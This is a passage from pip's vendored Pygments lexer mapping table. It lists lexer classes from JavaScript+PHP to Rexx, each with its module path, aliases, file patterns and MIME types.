'JavaScript+PHP', ('javascript+php', 'js+php'), (), ('application/x-javascript+php', 'text/x-javascript+php', 'text/javascript+php')), - 'JavascriptSmartyLexer': ('pip._vendor.pygments.lexers.templates', 'JavaScript+Smarty', ('javascript+smarty', 'js+smarty'), (), ('application/x-javascript+smarty', 'text/x-javascript+smarty', 'text/javascript+smarty')), - 'JavascriptUL4Lexer': ('pip._vendor.pygments.lexers.ul4', 'Javascript+UL4', ('js+ul4',), ('*.jsul4',), ()), - 'JclLexer': ('pip._vendor.pygments.lexers.scripting', 'JCL', ('jcl',), ('*.jcl',), ('text/x-jcl',)), - 'JsgfLexer': ('pip._vendor.pygments.lexers.grammar_notation', 'JSGF', ('jsgf',), ('*.jsgf',), ('application/jsgf', 'application/x-jsgf', 'text/jsgf')), - 'Json5Lexer': ('pip._vendor.pygments.lexers.json5', 'JSON5', ('json5',), ('*.json5',), ()), - 'JsonBareObjectLexer': ('pip._vendor.pygments.lexers.data', 'JSONBareObject', (), (), ()), - 'JsonLdLexer': ('pip._vendor.pygments.lexers.data', 'JSON-LD', ('jsonld', 'json-ld'), ('*.jsonld',), ('application/ld+json',)), - 'JsonLexer': ('pip._vendor.pygments.lexers.data', 'JSON', ('json', 'json-object'), ('*.json', '*.jsonl', '*.ndjson', 'Pipfile.lock', '*.module', '*.xc'), ('application/json', 'application/json-object', 'application/x-ndjson', 'application/jsonl', 'application/json-seq')), - 'JsonnetLexer': ('pip._vendor.pygments.lexers.jsonnet', 'Jsonnet', ('jsonnet',), ('*.jsonnet', '*.libsonnet'), ()), - 'JspLexer': ('pip._vendor.pygments.lexers.templates', 'Java Server Page', ('jsp',), ('*.jsp',), ('application/x-jsp',)), - 'JsxLexer': ('pip._vendor.pygments.lexers.jsx', 'JSX', ('jsx', 'react'), ('*.jsx', '*.react'), ('text/jsx', 'text/typescript-jsx')), - 'JuliaConsoleLexer': ('pip._vendor.pygments.lexers.julia', 'Julia console', ('jlcon', 'julia-repl'), (), ()), - 'JuliaLexer': ('pip._vendor.pygments.lexers.julia', 'Julia', ('julia', 'jl'), ('*.jl',), ('text/x-julia', 'application/x-julia')), - 'JuttleLexer': ('pip._vendor.pygments.lexers.javascript', 'Juttle', ('juttle',), ('*.juttle',), ('application/juttle', 'application/x-juttle', 'text/x-juttle', 'text/juttle')), - 'KLexer': ('pip._vendor.pygments.lexers.q', 'K', ('k',), ('*.k',), ()), - 'KalLexer': ('pip._vendor.pygments.lexers.javascript', 'Kal', ('kal',), ('*.kal',), ('text/kal', 'application/kal')), - 'KconfigLexer': ('pip._vendor.pygments.lexers.configs', 'Kconfig', ('kconfig', 'menuconfig', 'linux-config', 'kernel-config'), ('Kconfig*', '*Config.in*', 'external.in*', 'standard-modules.in'), ('text/x-kconfig',)), - 'KernelLogLexer': ('pip._vendor.pygments.lexers.textfmts', 'Kernel log', ('kmsg', 'dmesg'), ('*.kmsg', '*.dmesg'), ()), - 'KokaLexer': ('pip._vendor.pygments.lexers.haskell', 'Koka', ('koka',), ('*.kk', '*.kki'), ('text/x-koka',)), - 'KotlinLexer': ('pip._vendor.pygments.lexers.jvm', 'Kotlin', ('kotlin',), ('*.kt', '*.kts'), ('text/x-kotlin',)), - 'KuinLexer': ('pip._vendor.pygments.lexers.kuin', 'Kuin', ('kuin',), ('*.kn',), ()), - 'KustoLexer': ('pip._vendor.pygments.lexers.kusto', 'Kusto', ('kql', 'kusto'), ('*.kql', '*.kusto', '.csl'), ()), - 'LSLLexer': ('pip._vendor.pygments.lexers.scripting', 'LSL', ('lsl',), ('*.lsl',), ('text/x-lsl',)), - 'LassoCssLexer': ('pip._vendor.pygments.lexers.templates', 'CSS+Lasso', ('css+lasso',), (), ('text/css+lasso',)), - 'LassoHtmlLexer': ('pip._vendor.pygments.lexers.templates', 'HTML+Lasso', ('html+lasso',), (), ('text/html+lasso', 'application/x-httpd-lasso', 'application/x-httpd-lasso[89]')), - 'LassoJavascriptLexer': ('pip._vendor.pygments.lexers.templates', 'JavaScript+Lasso', ('javascript+lasso', 'js+lasso'), (), ('application/x-javascript+lasso', 'text/x-javascript+lasso', 'text/javascript+lasso')), - 'LassoLexer': ('pip._vendor.pygments.lexers.javascript', 'Lasso', ('lasso', 'lassoscript'), ('*.lasso', '*.lasso[89]'), ('text/x-lasso',)), - 'LassoXmlLexer': ('pip._vendor.pygments.lexers.templates', 'XML+Lasso', ('xml+lasso',), (), ('application/xml+lasso',)), - 'LdaprcLexer': ('pip._vendor.pygments.lexers.ldap', 'LDAP configuration file', ('ldapconf', 'ldaprc'), ('.ldaprc', 'ldaprc', 'ldap.conf'), ('text/x-ldapconf',)), - 'LdifLexer': ('pip._vendor.pygments.lexers.ldap', 'LDIF', ('ldif',), ('*.ldif',), ('text/x-ldif',)), - 'Lean3Lexer': ('pip._vendor.pygments.lexers.lean', 'Lean', ('lean', 'lean3'), ('*.lean',), ('text/x-lean', 'text/x-lean3')), - 'Lean4Lexer': ('pip._vendor.pygments.lexers.lean', 'Lean4', ('lean4',), ('*.lean',), ('text/x-lean4',)), - 'LessCssLexer': ('pip._vendor.pygments.lexers.css', 'LessCss', ('less',), ('*.less',), ('text/x-less-css',)), - 'LighttpdConfLexer': ('pip._vendor.pygments.lexers.configs', 'Lighttpd configuration file', ('lighttpd', 'lighty'), ('lighttpd.conf',), ('text/x-lighttpd-conf',)), - 'LilyPondLexer': ('pip._vendor.pygments.lexers.lilypond', 'LilyPond', ('lilypond',), ('*.ly',), ()), - 'LimboLexer': ('pip._vendor.pygments.lexers.inferno', 'Limbo', ('limbo',), ('*.b',), ('text/limbo',)), - 'LiquidLexer': ('pip._vendor.pygments.lexers.templates', 'liquid', ('liquid',), ('*.liquid',), ()), - 'LiterateAgdaLexer': ('pip._vendor.pygments.lexers.haskell', 'Literate Agda', ('literate-agda', 'lagda'), ('*.lagda',), ('text/x-literate-agda',)), - 'LiterateCryptolLexer': ('pip._vendor.pygments.lexers.haskell', 'Literate Cryptol', ('literate-cryptol', 'lcryptol', 'lcry'), ('*.lcry',), ('text/x-literate-cryptol',)), - 'LiterateHaskellLexer': ('pip._vendor.pygments.lexers.haskell', 'Literate Haskell', ('literate-haskell', 'lhaskell', 'lhs'), ('*.lhs',), ('text/x-literate-haskell',)), - 'LiterateIdrisLexer': ('pip._vendor.pygments.lexers.haskell', 'Literate Idris', ('literate-idris', 'lidris', 'lidr'), ('*.lidr',), ('text/x-literate-idris',)), - 'LiveScriptLexer': ('pip._vendor.pygments.lexers.javascript', 'LiveScript', ('livescript', 'live-script'), ('*.ls',), ('text/livescript',)), - 'LlvmLexer': ('pip._vendor.pygments.lexers.asm', 'LLVM', ('llvm',), ('*.ll',), ('text/x-llvm',)), - 'LlvmMirBodyLexer': ('pip._vendor.pygments.lexers.asm', 'LLVM-MIR Body', ('llvm-mir-body',), (), ()), - 'LlvmMirLexer': ('pip._vendor.pygments.lexers.asm', 'LLVM-MIR', ('llvm-mir',), ('*.mir',), ()), - 'LogosLexer': ('pip._vendor.pygments.lexers.objective', 'Logos', ('logos',), ('*.x', '*.xi', '*.xm', '*.xmi'), ('text/x-logos',)), - 'LogtalkLexer': ('pip._vendor.pygments.lexers.prolog', 'Logtalk', ('logtalk',), ('*.lgt', '*.logtalk'), ('text/x-logtalk',)), - 'LuaLexer': ('pip._vendor.pygments.lexers.scripting', 'Lua', ('lua',), ('*.lua', '*.wlua'), ('text/x-lua', 'application/x-lua')), - 'LuauLexer': ('pip._vendor.pygments.lexers.scripting', 'Luau', ('luau',), ('*.luau',), ()), - 'MCFunctionLexer': ('pip._vendor.pygments.lexers.minecraft', 'MCFunction', ('mcfunction', 'mcf'), ('*.mcfunction',), ('text/mcfunction',)), - 'MCSchemaLexer': ('pip._vendor.pygments.lexers.minecraft', 'MCSchema', ('mcschema',), ('*.mcschema',), ('text/mcschema',)), - 'MIMELexer': ('pip._vendor.pygments.lexers.mime', 'MIME', ('mime',), (), ('multipart/mixed', 'multipart/related', 'multipart/alternative')), - 'MIPSLexer': ('pip._vendor.pygments.lexers.mips', 'MIPS', ('mips',), ('*.mips', '*.MIPS'), ()), - 'MOOCodeLexer': ('pip._vendor.pygments.lexers.scripting', 'MOOCode', ('moocode', 'moo'), ('*.moo',), ('text/x-moocode',)), - 'MSDOSSessionLexer': ('pip._vendor.pygments.lexers.shell', 'MSDOS Session', ('doscon',), (), ()), - 'Macaulay2Lexer': ('pip._vendor.pygments.lexers.macaulay2', 'Macaulay2', ('macaulay2',), ('*.m2',), ()), - 'MakefileLexer': ('pip._vendor.pygments.lexers.make', 'Makefile', ('make', 'makefile', 'mf', 'bsdmake'), ('*.mak', '*.mk', 'Makefile', 'makefile', 'Makefile.*', 'GNUmakefile'), ('text/x-makefile',)), - 'MakoCssLexer': ('pip._vendor.pygments.lexers.templates', 'CSS+Mako', ('css+mako',), (), ('text/css+mako',)), - 'MakoHtmlLexer': ('pip._vendor.pygments.lexers.templates', 'HTML+Mako', ('html+mako',), (), ('text/html+mako',)), - 'MakoJavascriptLexer': ('pip._vendor.pygments.lexers.templates', 'JavaScript+Mako', ('javascript+mako', 'js+mako'), (), ('application/x-javascript+mako', 'text/x-javascript+mako', 'text/javascript+mako')), - 'MakoLexer': ('pip._vendor.pygments.lexers.templates', 'Mako', ('mako',), ('*.mao',), ('application/x-mako',)), - 'MakoXmlLexer': ('pip._vendor.pygments.lexers.templates', 'XML+Mako', ('xml+mako',), (), ('application/xml+mako',)), - 'MapleLexer': ('pip._vendor.pygments.lexers.maple', 'Maple', ('maple',), ('*.mpl', '*.mi', '*.mm'), ('text/x-maple',)), - 'MaqlLexer': ('pip._vendor.pygments.lexers.business', 'MAQL', ('maql',), ('*.maql',), ('text/x-gooddata-maql', 'application/x-gooddata-maql')), - 'MarkdownLexer': ('pip._vendor.pygments.lexers.markup', 'Markdown', ('markdown', 'md'), ('*.md', '*.markdown'), ('text/x-markdown',)), - 'MaskLexer': ('pip._vendor.pygments.lexers.javascript', 'Mask', ('mask',), ('*.mask',), ('text/x-mask',)), - 'MasonLexer': ('pip._vendor.pygments.lexers.templates', 'Mason', ('mason',), ('*.m', '*.mhtml', '*.mc', '*.mi', 'autohandler', 'dhandler'), ('application/x-mason',)), - 'MathematicaLexer': ('pip._vendor.pygments.lexers.algebra', 'Mathematica', ('mathematica', 'mma', 'nb', 'wl', 'wolfram'), ('*.nb', '*.cdf', '*.nbp', '*.ma', '*.wl', '*.wls'), ('application/mathematica', 'application/vnd.wolfram.mathematica', 'application/vnd.wolfram.mathematica.package', 'application/vnd.wolfram.cdf', 'application/vnd.wolfram.wl')), - 'MatlabLexer': ('pip._vendor.pygments.lexers.matlab', 'Matlab', ('matlab',), ('*.m',), ('text/matlab',)), - 'MatlabSessionLexer': ('pip._vendor.pygments.lexers.matlab', 'Matlab session', ('matlabsession',), (), ()), - 'MaximaLexer': ('pip._vendor.pygments.lexers.maxima', 'Maxima', ('maxima', 'macsyma'), ('*.mac', '*.max'), ()), - 'MesonLexer': ('pip._vendor.pygments.lexers.meson', 'Meson', ('meson', 'meson.build'), ('meson.build', 'meson.options', 'meson_options.txt'), ('text/x-meson',)), - 'MiniDLexer': ('pip._vendor.pygments.lexers.d', 'MiniD', ('minid',), (), ('text/x-minidsrc',)), - 'MiniScriptLexer': ('pip._vendor.pygments.lexers.scripting', 'MiniScript', ('miniscript', 'ms'), ('*.ms',), ('text/x-minicript', 'application/x-miniscript')), - 'ModelicaLexer': ('pip._vendor.pygments.lexers.modeling', 'Modelica', ('modelica',), ('*.mo',), ('text/x-modelica',)), - 'Modula2Lexer': ('pip._vendor.pygments.lexers.modula2', 'Modula-2', ('modula2', 'm2'), ('*.def', '*.mod'), ('text/x-modula2',)), - 'MoinWikiLexer': ('pip._vendor.pygments.lexers.markup', 'MoinMoin/Trac Wiki markup', ('trac-wiki', 'moin'), (), ('text/x-trac-wiki',)), - 'MojoLexer': ('pip._vendor.pygments.lexers.mojo', 'Mojo', ('mojo', '🔥'), ('*.mojo', '*.🔥'), ('text/x-mojo', 'application/x-mojo')), - 'MonkeyLexer': ('pip._vendor.pygments.lexers.basic', 'Monkey', ('monkey',), ('*.monkey',), ('text/x-monkey',)), - 'MonteLexer': ('pip._vendor.pygments.lexers.monte', 'Monte', ('monte',), ('*.mt',), ()), - 'MoonScriptLexer': ('pip._vendor.pygments.lexers.scripting', 'MoonScript', ('moonscript', 'moon'), ('*.moon',), ('text/x-moonscript', 'application/x-moonscript')), - 'MoselLexer': ('pip._vendor.pygments.lexers.mosel', 'Mosel', ('mosel',), ('*.mos',), ()), - 'MozPreprocCssLexer': ('pip._vendor.pygments.lexers.markup', 'CSS+mozpreproc', ('css+mozpreproc',), ('*.css.in',), ()), - 'MozPreprocHashLexer': ('pip._vendor.pygments.lexers.markup', 'mozhashpreproc', ('mozhashpreproc',), (), ()), - 'MozPreprocJavascriptLexer': ('pip._vendor.pygments.lexers.markup', 'Javascript+mozpreproc', ('javascript+mozpreproc',), ('*.js.in',), ()), - 'MozPreprocPercentLexer': ('pip._vendor.pygments.lexers.markup', 'mozpercentpreproc', ('mozpercentpreproc',), (), ()), - 'MozPreprocXulLexer': ('pip._vendor.pygments.lexers.markup', 'XUL+mozpreproc', ('xul+mozpreproc',), ('*.xul.in',), ()), - 'MqlLexer': ('pip._vendor.pygments.lexers.c_like', 'MQL', ('mql', 'mq4', 'mq5', 'mql4', 'mql5'), ('*.mq4', '*.mq5', '*.mqh'), ('text/x-mql',)), - 'MscgenLexer': ('pip._vendor.pygments.lexers.dsls', 'Mscgen', ('mscgen', 'msc'), ('*.msc',), ()), - 'MuPADLexer': ('pip._vendor.pygments.lexers.algebra', 'MuPAD', ('mupad',), ('*.mu',), ()), - 'MxmlLexer': ('pip._vendor.pygments.lexers.actionscript', 'MXML', ('mxml',), ('*.mxml',), ()), - 'MySqlLexer': ('pip._vendor.pygments.lexers.sql', 'MySQL', ('mysql',), (), ('text/x-mysql',)), - 'MyghtyCssLexer': ('pip._vendor.pygments.lexers.templates', 'CSS+Myghty', ('css+myghty',), (), ('text/css+myghty',)), - 'MyghtyHtmlLexer': ('pip._vendor.pygments.lexers.templates', 'HTML+Myghty', ('html+myghty',), (), ('text/html+myghty',)), - 'MyghtyJavascriptLexer': ('pip._vendor.pygments.lexers.templates', 'JavaScript+Myghty', ('javascript+myghty', 'js+myghty'), (), ('application/x-javascript+myghty', 'text/x-javascript+myghty', 'text/javascript+mygthy')), - 'MyghtyLexer': ('pip._vendor.pygments.lexers.templates', 'Myghty', ('myghty',), ('*.myt', 'autodelegate'), ('application/x-myghty',)), - 'MyghtyXmlLexer': ('pip._vendor.pygments.lexers.templates', 'XML+Myghty', ('xml+myghty',), (), ('application/xml+myghty',)), - 'NCLLexer': ('pip._vendor.pygments.lexers.ncl', 'NCL', ('ncl',), ('*.ncl',), ('text/ncl',)), - 'NSISLexer': ('pip._vendor.pygments.lexers.installers', 'NSIS', ('nsis', 'nsi', 'nsh'), ('*.nsi', '*.nsh'), ('text/x-nsis',)), - 'NasmLexer': ('pip._vendor.pygments.lexers.asm', 'NASM', ('nasm',), ('*.asm', '*.ASM', '*.nasm'), ('text/x-nasm',)), - 'NasmObjdumpLexer': ('pip._vendor.pygments.lexers.asm', 'objdump-nasm', ('objdump-nasm',), ('*.objdump-intel',), ('text/x-nasm-objdump',)), - 'NemerleLexer': ('pip._vendor.pygments.lexers.dotnet', 'Nemerle', ('nemerle',), ('*.n',), ('text/x-nemerle',)), - 'NesCLexer': ('pip._vendor.pygments.lexers.c_like', 'nesC', ('nesc',), ('*.nc',), ('text/x-nescsrc',)), - 'NestedTextLexer': ('pip._vendor.pygments.lexers.configs', 'NestedText', ('nestedtext', 'nt'), ('*.nt',), ()), - 'NewLispLexer': ('pip._vendor.pygments.lexers.lisp', 'NewLisp', ('newlisp',), ('*.lsp', '*.nl', '*.kif'), ('text/x-newlisp', 'application/x-newlisp')), - 'NewspeakLexer': ('pip._vendor.pygments.lexers.smalltalk', 'Newspeak', ('newspeak',), ('*.ns2',), ('text/x-newspeak',)), - 'NginxConfLexer': ('pip._vendor.pygments.lexers.configs', 'Nginx configuration file', ('nginx',), ('nginx.conf',), ('text/x-nginx-conf',)), - 'NimrodLexer': ('pip._vendor.pygments.lexers.nimrod', 'Nimrod', ('nimrod', 'nim'), ('*.nim', '*.nimrod'), ('text/x-nim',)), - 'NitLexer': ('pip._vendor.pygments.lexers.nit', 'Nit', ('nit',), ('*.nit',), ()), - 'NixLexer': ('pip._vendor.pygments.lexers.nix', 'Nix', ('nixos', 'nix'), ('*.nix',), ('text/x-nix',)), - 'NodeConsoleLexer': ('pip._vendor.pygments.lexers.javascript', 'Node.js REPL console session', ('nodejsrepl',), (), ('text/x-nodejsrepl',)), - 'NotmuchLexer': ('pip._vendor.pygments.lexers.textfmts', 'Notmuch', ('notmuch',), (), ()), - 'NuSMVLexer': ('pip._vendor.pygments.lexers.smv', 'NuSMV', ('nusmv',), ('*.smv',), ()), - 'NumPyLexer': ('pip._vendor.pygments.lexers.python', 'NumPy', ('numpy',), (), ()), - 'NumbaIRLexer': ('pip._vendor.pygments.lexers.numbair', 'Numba_IR', ('numba_ir', 'numbair'), ('*.numba_ir',), ('text/x-numba_ir', 'text/x-numbair')), - 'ObjdumpLexer': ('pip._vendor.pygments.lexers.asm', 'objdump', ('objdump',), ('*.objdump',), ('text/x-objdump',)), - 'ObjectiveCLexer': ('pip._vendor.pygments.lexers.objective', 'Objective-C', ('objective-c', 'objectivec', 'obj-c', 'objc'), ('*.m', '*.h'), ('text/x-objective-c',)), - 'ObjectiveCppLexer': ('pip._vendor.pygments.lexers.objective', 'Objective-C++', ('objective-c++', 'objectivec++', 'obj-c++', 'objc++'), ('*.mm', '*.hh'), ('text/x-objective-c++',)), - 'ObjectiveJLexer': ('pip._vendor.pygments.lexers.javascript', 'Objective-J', ('objective-j', 'objectivej', 'obj-j', 'objj'), ('*.j',), ('text/x-objective-j',)), - 'OcamlLexer': ('pip._vendor.pygments.lexers.ml', 'OCaml', ('ocaml',), ('*.ml', '*.mli', '*.mll', '*.mly'), ('text/x-ocaml',)), - 'OctaveLexer': ('pip._vendor.pygments.lexers.matlab', 'Octave', ('octave',), ('*.m',), ('text/octave',)), - 'OdinLexer': ('pip._vendor.pygments.lexers.archetype', 'ODIN', ('odin',), ('*.odin',), ('text/odin',)), - 'OmgIdlLexer': ('pip._vendor.pygments.lexers.c_like', 'OMG Interface Definition Language', ('omg-idl',), ('*.idl', '*.pidl'), ()), - 'OocLexer': ('pip._vendor.pygments.lexers.ooc', 'Ooc', ('ooc',), ('*.ooc',), ('text/x-ooc',)), - 'OpaLexer': ('pip._vendor.pygments.lexers.ml', 'Opa', ('opa',), ('*.opa',), ('text/x-opa',)), - 'OpenEdgeLexer': ('pip._vendor.pygments.lexers.business', 'OpenEdge ABL', ('openedge', 'abl', 'progress'), ('*.p', '*.cls'), ('text/x-openedge', 'application/x-openedge')), - 'OpenScadLexer': ('pip._vendor.pygments.lexers.openscad', 'OpenSCAD', ('openscad',), ('*.scad',), ('application/x-openscad',)), - 'OrgLexer': ('pip._vendor.pygments.lexers.markup', 'Org Mode', ('org', 'orgmode', 'org-mode'), ('*.org',), ('text/org',)), - 'OutputLexer': ('pip._vendor.pygments.lexers.special', 'Text output', ('output',), (), ()), - 'PacmanConfLexer': ('pip._vendor.pygments.lexers.configs', 'PacmanConf', ('pacmanconf',), ('pacman.conf',), ()), - 'PanLexer': ('pip._vendor.pygments.lexers.dsls', 'Pan', ('pan',), ('*.pan',), ()), - 'ParaSailLexer': ('pip._vendor.pygments.lexers.parasail', 'ParaSail', ('parasail',), ('*.psi', '*.psl'), ('text/x-parasail',)), - 'PawnLexer': ('pip._vendor.pygments.lexers.pawn', 'Pawn', ('pawn',), ('*.p', '*.pwn', '*.inc'), ('text/x-pawn',)), - 'PddlLexer': ('pip._vendor.pygments.lexers.pddl', 'PDDL', ('pddl',), ('*.pddl',), ()), - 'PegLexer': ('pip._vendor.pygments.lexers.grammar_notation', 'PEG', ('peg',), ('*.peg',), ('text/x-peg',)), - 'Perl6Lexer': ('pip._vendor.pygments.lexers.perl', 'Perl6', ('perl6', 'pl6', 'raku'), ('*.pl', '*.pm', '*.nqp', '*.p6', '*.6pl', '*.p6l', '*.pl6', '*.6pm', '*.p6m', '*.pm6', '*.t', '*.raku', '*.rakumod', '*.rakutest', '*.rakudoc'), ('text/x-perl6', 'application/x-perl6')), - 'PerlLexer': ('pip._vendor.pygments.lexers.perl', 'Perl', ('perl', 'pl'), ('*.pl', '*.pm', '*.t', '*.perl'), ('text/x-perl', 'application/x-perl')), - 'PhixLexer': ('pip._vendor.pygments.lexers.phix', 'Phix', ('phix',), ('*.exw',), ('text/x-phix',)), - 'PhpLexer': ('pip._vendor.pygments.lexers.php', 'PHP', ('php', 'php3', 'php4', 'php5'), ('*.php', '*.php[345]', '*.inc'), ('text/x-php',)), - 'PigLexer': ('pip._vendor.pygments.lexers.jvm', 'Pig', ('pig',), ('*.pig',), ('text/x-pig',)), - 'PikeLexer': ('pip._vendor.pygments.lexers.c_like', 'Pike', ('pike',), ('*.pike', '*.pmod'), ('text/x-pike',)), - 'PkgConfigLexer': ('pip._vendor.pygments.lexers.configs', 'PkgConfig', ('pkgconfig',), ('*.pc',), ()), - 'PlPgsqlLexer': ('pip._vendor.pygments.lexers.sql', 'PL/pgSQL', ('plpgsql',), (), ('text/x-plpgsql',)), - 'PointlessLexer': ('pip._vendor.pygments.lexers.pointless', 'Pointless', ('pointless',), ('*.ptls',), ()), - 'PonyLexer': ('pip._vendor.pygments.lexers.pony', 'Pony', ('pony',), ('*.pony',), ()), - 'PortugolLexer': ('pip._vendor.pygments.lexers.pascal', 'Portugol', ('portugol',), ('*.alg', '*.portugol'), ()), - 'PostScriptLexer': ('pip._vendor.pygments.lexers.graphics', 'PostScript', ('postscript', 'postscr'), ('*.ps', '*.eps'), ('application/postscript',)), - 'PostgresConsoleLexer': ('pip._vendor.pygments.lexers.sql', 'PostgreSQL console (psql)', ('psql', 'postgresql-console', 'postgres-console'), (), ('text/x-postgresql-psql',)), - 'PostgresExplainLexer': ('pip._vendor.pygments.lexers.sql', 'PostgreSQL EXPLAIN dialect', ('postgres-explain',), ('*.explain',), ('text/x-postgresql-explain',)), - 'PostgresLexer': ('pip._vendor.pygments.lexers.sql', 'PostgreSQL SQL dialect', ('postgresql', 'postgres'), (), ('text/x-postgresql',)), - 'PovrayLexer': ('pip._vendor.pygments.lexers.graphics', 'POVRay', ('pov',), ('*.pov', '*.inc'), ('text/x-povray',)), - 'PowerShellLexer': ('pip._vendor.pygments.lexers.shell', 'PowerShell', ('powershell', 'pwsh', 'posh', 'ps1', 'psm1'), ('*.ps1', '*.psm1'), ('text/x-powershell',)), - 'PowerShellSessionLexer': ('pip._vendor.pygments.lexers.shell', 'PowerShell Session', ('pwsh-session', 'ps1con'), (), ()), - 'PraatLexer': ('pip._vendor.pygments.lexers.praat', 'Praat', ('praat',), ('*.praat', '*.proc', '*.psc'), ()), - 'ProcfileLexer': ('pip._vendor.pygments.lexers.procfile', 'Procfile', ('procfile',), ('Procfile',), ()), - 'PrologLexer': ('pip._vendor.pygments.lexers.prolog', 'Prolog', ('prolog',), ('*.ecl', '*.prolog', '*.pro', '*.pl'), ('text/x-prolog',)), - 'PromQLLexer': ('pip._vendor.pygments.lexers.promql', 'PromQL', ('promql',), ('*.promql',), ()), - 'PromelaLexer': ('pip._vendor.pygments.lexers.c_like', 'Promela', ('promela',), ('*.pml', '*.prom', '*.prm', '*.promela', '*.pr', '*.pm'), ('text/x-promela',)), - 'PropertiesLexer': ('pip._vendor.pygments.lexers.configs', 'Properties', ('properties', 'jproperties'), ('*.properties',), ('text/x-java-properties',)), - 'ProtoBufLexer': ('pip._vendor.pygments.lexers.dsls', 'Protocol Buffer', ('protobuf', 'proto'), ('*.proto',), ()), - 'PrqlLexer': ('pip._vendor.pygments.lexers.prql', 'PRQL', ('prql',), ('*.prql',), ('application/prql', 'application/x-prql')), - 'PsyshConsoleLexer': ('pip._vendor.pygments.lexers.php', 'PsySH console session for PHP', ('psysh',), (), ()), - 'PtxLexer': ('pip._vendor.pygments.lexers.ptx', 'PTX', ('ptx',), ('*.ptx',), ('text/x-ptx',)), - 'PugLexer': ('pip._vendor.pygments.lexers.html', 'Pug', ('pug', 'jade'), ('*.pug', '*.jade'), ('text/x-pug', 'text/x-jade')), - 'PuppetLexer': ('pip._vendor.pygments.lexers.dsls', 'Puppet', ('puppet',), ('*.pp',), ()), - 'PyPyLogLexer': ('pip._vendor.pygments.lexers.console', 'PyPy Log', ('pypylog', 'pypy'), ('*.pypylog',), ('application/x-pypylog',)), - 'Python2Lexer': ('pip._vendor.pygments.lexers.python', 'Python 2.x', ('python2', 'py2'), (), ('text/x-python2', 'application/x-python2')), - 'Python2TracebackLexer': ('pip._vendor.pygments.lexers.python', 'Python 2.x Traceback', ('py2tb',), ('*.py2tb',), ('text/x-python2-traceback',)), - 'PythonConsoleLexer': ('pip._vendor.pygments.lexers.python', 'Python console session', ('pycon', 'python-console'), (), ('text/x-python-doctest',)), - 'PythonLexer': ('pip._vendor.pygments.lexers.python', 'Python', ('python', 'py', 'sage', 'python3', 'py3', 'bazel', 'starlark', 'pyi'), ('*.py', '*.pyw', '*.pyi', '*.jy', '*.sage', '*.sc', 'SConstruct', 'SConscript', '*.bzl', 'BUCK', 'BUILD', 'BUILD.bazel', 'WORKSPACE', '*.tac', '*.pye'), ('text/x-python', 'application/x-python', 'text/x-python3', 'application/x-python3')), - 'PythonTracebackLexer': ('pip._vendor.pygments.lexers.python', 'Python Traceback', ('pytb', 'py3tb'), ('*.pytb', '*.py3tb'), ('text/x-python-traceback', 'text/x-python3-traceback')), - 'PythonUL4Lexer': ('pip._vendor.pygments.lexers.ul4', 'Python+UL4', ('py+ul4',), ('*.pyul4',), ()), - 'QBasicLexer': ('pip._vendor.pygments.lexers.basic', 'QBasic', ('qbasic', 'basic'), ('*.BAS', '*.bas'), ('text/basic',)), - 'QLexer': ('pip._vendor.pygments.lexers.q', 'Q', ('q',), ('*.q',), ()), - 'QVToLexer': ('pip._vendor.pygments.lexers.qvt', 'QVTO', ('qvto', 'qvt'), ('*.qvto',), ()), - 'QlikLexer': ('pip._vendor.pygments.lexers.qlik', 'Qlik', ('qlik', 'qlikview', 'qliksense', 'qlikscript'), ('*.qvs', '*.qvw'), ()), - 'QmlLexer': ('pip._vendor.pygments.lexers.webmisc', 'QML', ('qml', 'qbs'), ('*.qml', '*.qbs'), ('application/x-qml', 'application/x-qt.qbs+qml')), - 'RConsoleLexer': ('pip._vendor.pygments.lexers.r', 'RConsole', ('rconsole', 'rout'), ('*.Rout',), ()), - 'RNCCompactLexer': ('pip._vendor.pygments.lexers.rnc', 'Relax-NG Compact', ('rng-compact', 'rnc'), ('*.rnc',), ()), - 'RPMSpecLexer': ('pip._vendor.pygments.lexers.installers', 'RPMSpec', ('spec',), ('*.spec',), ('text/x-rpm-spec',)), - 'RacketLexer': ('pip._vendor.pygments.lexers.lisp', 'Racket', ('racket', 'rkt'), ('*.rkt', '*.rktd', '*.rktl'), ('text/x-racket', 'application/x-racket')), - 'RagelCLexer': ('pip._vendor.pygments.lexers.parsers', 'Ragel in C Host', ('ragel-c',), ('*.rl',), ()), - 'RagelCppLexer': ('pip._vendor.pygments.lexers.parsers', 'Ragel in CPP Host', ('ragel-cpp',), ('*.rl',), ()), - 'RagelDLexer': ('pip._vendor.pygments.lexers.parsers', 'Ragel in D Host', ('ragel-d',), ('*.rl',), ()), - 'RagelEmbeddedLexer': ('pip._vendor.pygments.lexers.parsers', 'Embedded Ragel', ('ragel-em',), ('*.rl',), ()), - 'RagelJavaLexer': ('pip._vendor.pygments.lexers.parsers', 'Ragel in Java Host', ('ragel-java',), ('*.rl',), ()), - 'RagelLexer': ('pip._vendor.pygments.lexers.parsers', 'Ragel', ('ragel',), (), ()), - 'RagelObjectiveCLexer': ('pip._vendor.pygments.lexers.parsers', 'Ragel in Objective C Host', ('ragel-objc',), ('*.rl',), ()), - 'RagelRubyLexer': ('pip._vendor.pygments.lexers.parsers', 'Ragel in Ruby Host', ('ragel-ruby', 'ragel-rb'), ('*.rl',), ()), - 'RawTokenLexer': ('pip._vendor.pygments.lexers.special', 'Raw token data', (), (), ('application/x-pygments-tokens',)), - 'RdLexer': ('pip._vendor.pygments.lexers.r', 'Rd', ('rd',), ('*.Rd',), ('text/x-r-doc',)), - 'ReasonLexer': ('pip._vendor.pygments.lexers.ml', 'ReasonML', ('reasonml', 'reason'), ('*.re', '*.rei'), ('text/x-reasonml',)), - 'RebolLexer': ('pip._vendor.pygments.lexers.rebol', 'REBOL', ('rebol',), ('*.r', '*.r3', '*.reb'), ('text/x-rebol',)), - 'RedLexer': ('pip._vendor.pygments.lexers.rebol', 'Red', ('red', 'red/system'), ('*.red', '*.reds'), ('text/x-red', 'text/x-red-system')), - 'RedcodeLexer': ('pip._vendor.pygments.lexers.esoteric', 'Redcode', ('redcode',), ('*.cw',), ()), - 'RegeditLexer': ('pip._vendor.pygments.lexers.configs', 'reg', ('registry',), ('*.reg',), ('text/x-windows-registry',)), - 'RegoLexer': ('pip._vendor.pygments.lexers.rego', 'Rego', ('rego',), ('*.rego',), ('text/x-rego',)), - 'RellLexer': ('pip._vendor.pygments.lexers.rell', 'Rell', ('rell',), ('*.rell',), ('text/x-rell',)), - 'ResourceLexer': ('pip._vendor.pygments.lexers.resource', 'ResourceBundle', ('resourcebundle', 'resource'), (), ()), - 'RexxLexer': ('pip._vendor.pygments.lexers.scripting', 'Rexx', ('rexx', 'arexx'), ('*.rexx', '*.rex', '*.rx', '*.arexx'), 